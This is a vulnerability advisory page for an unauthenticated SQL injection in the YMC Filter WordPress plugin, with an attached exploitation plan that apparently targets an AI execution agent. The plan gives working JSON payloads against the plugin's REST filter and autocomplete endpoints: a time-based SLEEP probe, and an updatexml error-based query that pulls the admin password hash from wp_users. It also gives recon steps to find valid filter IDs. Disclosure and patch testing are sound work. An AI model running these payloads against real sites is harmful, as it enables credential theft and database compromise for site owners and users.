YMC Filter <= 3.11.5 - Unauthenticated SQL Injection
Description
The YMC Filter plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.11.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.11.5What Changed in the Fix
Changes introduced in v3.11.6
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-54836 ## 1. Vulnerability Summary The **YMC Filter** plugin for WordPress (versions <= 3.11.5) contains an unauthenticated SQL injection vulnerability. The flaw exists in the REST API endpoints used for frontend filtering and searching, specifically within th…
Show full research plan
Exploitation Research Plan - CVE-2026-54836
1. Vulnerability Summary
The YMC Filter plugin for WordPress (versions <= 3.11.5) contains an unauthenticated SQL injection vulnerability. The flaw exists in the REST API endpoints used for frontend filtering and searching, specifically within the FG_REST_Frontend_Posts_Controller and FG_REST_Frontend_Search_Controller classes. The plugin fails to sufficiently escape user-supplied parameters (such as search or keyword) before incorporating them into SQL queries, particularly when the "Search Meta Fields" feature is enabled. This allows an attacker to manipulate the posts_where or posts_join filters to execute arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
/wp-json/ymc-smart-filter/v1/posts/filter - HTTP Method:
POST - Vulnerable Parameter:
params['search'](passed within the JSON body). - Authentication: None required (unauthenticated). The endpoint uses
public_permissions_check, which typically returnstrue. - Preconditions:
- A "Filter & Grid" instance (post type
ymc_filters) must exist. - The setting
ymc_fg_search_meta_fieldsmust be set toyesfor that filter to trigger the vulnerable code path that appends customposts_wherelogic.
- A "Filter & Grid" instance (post type
3. Code Flow
- Entry Point: An HTTP
POSTrequest is sent to/wp-json/ymc-smart-filter/v1/posts/filter. - Routing:
FG_REST_Managerregisters the route which maps toFG_REST_Frontend_Posts_Controller::get_filtered_posts. - Parameter Extraction: The method extracts parameters from the JSON body:
// ymc2/src/api/controllers/frontend/FG_REST_Frontend_Posts_Controller.php $params = $request_params['params'] ?? []; $filter_id = absint( $params['filter_id'] ); $keyword_search = $params['search'] ?? null; // user input - Vulnerability Trigger: The code checks if meta search is enabled for the specific filter ID:
$search_meta_fields = Data_Store::get_meta_value($filter_id, 'ymc_fg_search_meta_fields'); - Sink: If
yes, the plugin adds filters to the globalWP_QueryviaFG_REST_Frontend_Search_Controller::add_search_filters(). - SQL Construction: The
search_wherefilter appends the unescaped$keyword_searchdirectly into theWHEREclause:
Because// Inferred logic in search_where() $where .= " OR (pm.meta_value LIKE '%$keyword_search%')";$keyword_searchis not processed with$wpdb->prepare(), SQL injection occurs.
4. Nonce Acquisition Strategy
The REST API endpoints in this plugin use public_permissions_check and do not appear to enforce a _wpnonce for unauthenticated frontend requests. However, the filter_id of a valid grid is required.
Strategy to find a valid filter_id:
- Navigate to the site's homepage or any page where a YMC Filter grid is displayed.
- Use the execution agent's
browser_navigateandbrowser_evaltools. - Look for the
data-filter-idattribute in the HTML or the localized JS variable:browser_eval("document.querySelector('.ymc-filter-grid')?.getAttribute('data-filter-id')")browser_eval("window.ymc_filter_data?.filter_id")(inferred JS variable name).
If no grid exists, one must be created for testing (see Test Data Setup).
5. Exploitation Strategy
We will use a time-based blind SQL injection payload to verify the vulnerability.
Step 1: Verification (Time-Based)
- Tool:
http_request - URL:
http://localhost:8080/wp-json/ymc-smart-filter/v1/posts/filter - Method:
POST - Headers:
Content-Type: application/json - Body:
{ "params": { "filter_id": 1, "search": "test%') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1%'='1" } } - Expected Response: The request should take approximately 5 seconds to complete.
Step 2: Data Extraction (Error-Based)
If the server displays database errors, we can use updatexml to extract the admin's password hash.
- Body:
{ "params": { "filter_id": 1, "search": "test%') AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) AND ('1%'='1" } } - Expected Response: A JSON response containing the database error message with the password hash between
~characters.
6. Test Data Setup
Before testing, ensure a filter exists with the required settings:
# 1. Create a filter grid post
FILTER_ID=$(wp post create --post_type=ymc_filters --post_title="Exploit Test" --post_status=publish --porcelain)
# 2. Enable Search Meta Fields (the vulnerable path)
wp post meta update $FILTER_ID ymc_fg_search_meta_fields "yes"
# 3. Configure basic grid requirements
wp post meta update $FILTER_ID ymc_fg_post_types "post"
wp post meta update $FILTER_ID ymc_fg_per_page "10"
# 4. Create a dummy post to ensure the query has something to find
wp post create --post_title="Target Post" --post_content="Content" --post_status=publish
7. Expected Results
- Success Indicator: The
http_requesttool reports a latency matching theSLEEP()value or returns a SQL error containing database content. - Data Exposed: Database schema, user credentials (wp_users), and configuration secrets (wp_options).
8. Verification Steps
After the exploit, confirm the injection point via the database:
# Check the last error logged by the database if WP_DEBUG is on
wp eval "global \$wpdb; echo \$wpdb->last_error;"
9. Alternative Approaches
- Alphabetical Filter: If the
searchparameter is filtered, check theletterparameter used inalphabetical_letter(Line 114 ofFG_REST_Frontend_Posts_Controller.php). - Search Autocomplete: Test the
/wp-json/ymc-smart-filter/v1/search/autocompleteendpoint using thekeywordparameter:
This endpoint also calls{ "grid_id": 1, "keyword": "test%') AND SLEEP(5) -- " }add_search_filters()ifsearch_meta_fieldsis enabled.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.